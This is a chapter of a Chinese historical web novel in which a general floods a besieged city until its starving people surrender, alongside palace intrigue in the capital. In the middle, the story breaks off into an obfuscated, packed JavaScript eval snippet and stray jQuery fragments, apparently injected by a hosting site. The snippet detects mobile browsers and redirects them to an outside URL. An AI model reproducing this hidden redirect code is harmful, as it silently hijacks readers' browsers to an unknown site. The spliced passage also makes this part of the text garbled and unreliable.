178. 水淹

作品:《争朝

    “秦公解了樊城危机,杏州刺史周惟家破人亡。”赵修说道,“若不是秦公欲要攻取凉州,靠杏州借道,周惟会有如此变故?”


    “赵兄,此言荒谬至极。”郭济喝着茶,“潘顺荼毒樊城百姓,樊城百姓得罪潘顺吗?主公为天下诛杀此贼,是为了百姓。至于北朔,潘顺盘踞在凉州,鱼肉乡民。此外,潘顺与周惟是兄弟之盟。潘顺为了一个女人,与兄弟刀兵相向,弄得周惟妻离子散。如今,大周正值社稷之危。秦公若平定北朔,则北朔百姓均可安慰度日,你们也可平安无事。你怎么能将秦公与逆贼相提并论呢?”


    赵修沉默不语。


    “河州义士众多。”郭济说,“我进入河州,看见街上贴着布告,是关于谴责潘顺在樊城犯下的种种恶事。百姓多有通情达理者,赵兄身为河州刺史,难不成不愿意听听百姓的心声?”


    “秦公欲取天下。”赵修说,“你们若是进了河州,能与民秋毫无犯?”


    “秦公部下军纪贤明。”郭济说,“就算我们解放河州,在河州城南处安营扎寨。我们的军队进了河州,不会伤害百姓的。”


    赵修思虑片刻,说:“容我再想想。”


    “两三日够吗?”郭济直截了当。


    “嗯。”赵修说,“十月十五日,辰时。若我考虑清楚,就放一白旗在城楼上。我带领兵士下城迎接,如何啊?”


    “好。一言为定。”郭济拱手道。


    十月十五日,辰时。


    宇文泰带领十万大军,在河州城门下。


    “为何迟迟不见动静?”宇文泰皱着眉头,看向郭济。


    “赵修不想献城。”郭济说。


    郭济看向城楼上,兵卒孱弱且肆意散漫。他们既然不选择投降,那肯定是做好准备,要与宇文泰鱼死网破。


    说:“主公。我们还是先回去,我怕城中有埋伏。”


    宇文泰看见城楼上没有白旗飘扬,说:“撤兵。”


    未时。


    河州城外大营。


    将军与一些幕僚各有见解,吵闹不停。


    宇文泰看见郭济不发一言,心中存疑。


    “主公,我有一计。”张九爷说道,“此计可得河州。”


    “说。”宇文泰态度诚恳。


    “主公,试试毁去土山,地道,开凿壕沟。”张九爷正色说道,“河州,灯州靠近东闵,东闵气候潮湿。河州,灯州不像凉州,杏州黄沙漫天。河州虽有黄沙,但我夜观天象,灯州在十一月中旬会有暴雨。这样雨水灌进沟渠,水漫河州,那么河州军民不战而降。”


    “这?”宇文泰眼神冰冷,“万一不下雨,可引河水进入河州。这十几万百姓,他们的安危......”


    “主公。”张九爷眼神镇定,“猛虎之犹豫,不若蜂趸之致螫[1]。若想取河州,要他们放下屠刀,开城投降,我们都知道这是不可能的事情。既然如此,凉州的潘顺尚要阻击杏州,若是解放河州,那么凉州就是瓮中之鳖。”


    张九爷提醒宇文泰,他若是等待迟疑,潘顺的大军就会直达杏州以及樊城,一雪前耻。那么宇文泰身为秦公,虽说是奉命讨贼,但是北朔民心还在观望。杏州刺史周惟疯癫异常,无法治理州府事务,宇文泰只能让卢冰暂领刺史一职。若是这三个月里,宇文泰无法攻取河州,凉州夹在杏州与河州之间,而灯州靠近河州,两州必然愿意与凉州携手共进。这样一来,杏州只能得而复失。


    “好。”宇文泰说,“就按照练川的意思来。识壁,你吩咐下去,让各将监督帐下士兵,开凿壕沟。”


    “是。”韦汾领命而去。


    宇文泰命令大军不能轻举妄动,并且让全部将士都用铁钎和铁锤挖通地道。


    十月十九日。


    酉时。


    金城,皇宫。


    宣德殿。


    刘冲与宦官在假山上游玩一阵,感觉烦闷,然后回到宣德殿。自从司徒王棠及族人让御史台施行绞刑。秦公宇文泰下令,文武百官若是要面见皇帝,必须经过秦公府,尚书台批文,才能进出皇宫。宇文泰将刘冲想要亲政的火苗掐断,让刘冲彻底陷入自闭。不过,宇文泰让刘氏宗亲可以自由出入皇宫。刘冲想要白承约进宫做伴读,宇文泰欣然同意。白承约没有人脉,且众叛亲离,这是其一;白承约实际是皇室宗亲,惠献太子的孩子,他与皇帝算得上是亲兄弟。


    桌面上摆着东坡肉,麻辣鸡皮,单笼金乳酥,鸭花汤饼等。


    “微臣白承约参见陛下。”白承约行礼如仪,“陛下万岁万岁万万岁。”


    “爱卿平身。”刘冲说道。


    “无名。”刘冲将金乳酥放在白承约的碟子上,“宇文泰在北朔,已经取了杏州。周惟与潘顺引兵一处,本来是联盟,这周珏要了那小娘子,弄得两家人反目成仇,真是气死朕了!”


    “陛下。”白承约说,“如今宫内奴仆一百人,虽说有中央军在皇宫巡逻。但是,我们的人只要足够保密,就肯定什么事都没有。”


    宫门外的小太监正在竖耳静听。


    “嗯。”刘冲点点头,“我会慢慢训练他们的。”


    两人举着酒杯,然后碰了碰。


    十月二十日。


    子时。


    秦公府,卫昕院子。


    卫昕正在批阅奏章,福永和校事府校事向卫昕报告今日在皇宫的所见所闻。


    校事将刘冲与白承约的对话递给卫昕。


    卫昕认真阅览,看完哈哈大笑,说:“福永,听说你们内侍省最近想要和神机营要一批打猎用具,是与不是?”


    “张夫人,这些都是幌子。”福永尖声尖气,“陛下是想要除掉秦公的。他们知道大臣靠不住,且军队不一定听从他调遣。”


    “嗯。”卫昕说道,“我会让神机营配合的,尽量给你们找些可以打猎的用具,让陛下玩得开心。但是,福永,你可得给我盯好了,看看哪些宦官是小皇帝的心腹,到时写个名单给我。”


    “是。”福永点头。


    “你先下去吧。”卫昕揉着眼睛,“你回去,别让人瞧出什么。”


    “是。”福永行了礼。


    “你在皇宫,给盯紧阴绶还有刘离。”卫昕眼神冰冷,看向校事,“特别是太后。太后今日做什么,见了什么人,说了什么话。我每日都要看到长信宫的报告。”


    “是。”校事点头。


    十月二十六日。


    申时。


    秦公府,卫昕院子。


    深秋时节,院子里都是落叶。


    卫昕穿着青骊色织锦齐腰襦裙,带着珍珠耳饰。


    芸香走上前,为卫昕披上褐色披风。


    “主子,秦公的信。”芸香说。


    卫昕打开信,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497153|153058||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    信上内容:云舒,见字如面。我们在河州城外开凿壕沟,工程已经进入尾声。但是,我看着河州天气不稳,河面结着冰,虽然靠近东闵。张九爷上知天文下知地理,说十一月中旬肯定有雨。我只能寄希望于天。小皇帝要训练太监,干脆由着他,他要的那些武器,多半是哑火的。云舒,我最迟二月份,回到金城。你在金城,保重身体。想你入眠,逾明。


    风吹得有些紧,卫昕打了一个喷嚏。


    卫昕提笔写道:逾明,解放北朔至关重要。我在金城,一切安好,请勿挂念。刀剑无眼,千万小心。想你入眠,云舒。


    她将信纸放进信封。


    十一月。


    北朔,河州。


    城上,河州刺史赵修看着南疆士兵正在开凿壕沟。


    “刺史大人。”兵士说道,“这半个多月了,宇文泰让士兵日夜不停地挖。这河水都结成冰了,有什么用?”


    赵修放声大笑,说:“宇文泰想着攻破河州,简直是痴心妄想!”


    说完,赵修离开。


    河州,城外。


    “涿河河面上的冰,砸破了吗?”宇文泰看向常康。


    “冰已经逐渐融化。”常康回答道。


    “主公,不要担心。”张九爷劝慰道,“雨差不多要来了。”


    十一月十九日。


    丑时。


    河州城突下暴雨,雨幕倾帘而下,涿河的冰彻底融化。宇文泰命令将士将涿河河水引入城中,水势汹涌湍急,刹那间,水就已经漫进河州城。


    刺史府。


    赵修睡得香甜,管家敲着门,说:“老爷,出事了。”


    “怎么了?”赵修披着披风出来。


    “老爷,外面下着暴雨。”管家愁眉苦脸,“宇文泰趁着雨水,将涿河引入城中。现在,河州州被淹了。”


    “还不快疏通?”赵修瞪大眼睛。


    “我们想出城。”管家说,“出不了啊!我们城中的地势要比城外低,现在已经很多人流离失所,都在刺史府府外。”


    “怎么会有雨?”赵修重复道,“怎么会有雨?城中还有多少粮食?”


    “我们开了义仓,这义仓本来就是形同虚设。”管家说,“现在城中断粮断水,恐怕是维持不了几日了。”


    “这下,真的,完了!”赵修抱着头。


    “老爷,我们真的要想办法了。”管家说。


    赵修出了府门,看见河州百姓个个憔悴不堪。


    “狗官。”一个百姓说,“将义仓打开。”


    “打开!打开!”其余百姓附和道。


    赵修低着头,说:“先将府中粮食分给百姓吧。”


    “老爷。”唐夫人拉着赵修说,“我们难道不吃吗?要留给这些贱民吃?”


    一句“贱民”激怒了河州百姓,百姓群情激涌,与刺史府的官吏打成一片。


    河州断粮十日,且百姓日夜辱骂赵修,城中饿死者众多。


    赵修实在无法容忍,气急攻心,吐了一口血,然后倒地身亡。


    十一月二十九日。


    卯时。


    守城将士与河州百姓饥饿难耐,一同商议,打开城门,迎接宇文泰及南疆士兵。


    河州城门大开,且城楼上插着白旗。


    宇文泰带领士兵进入河州城。


    河州正式解放。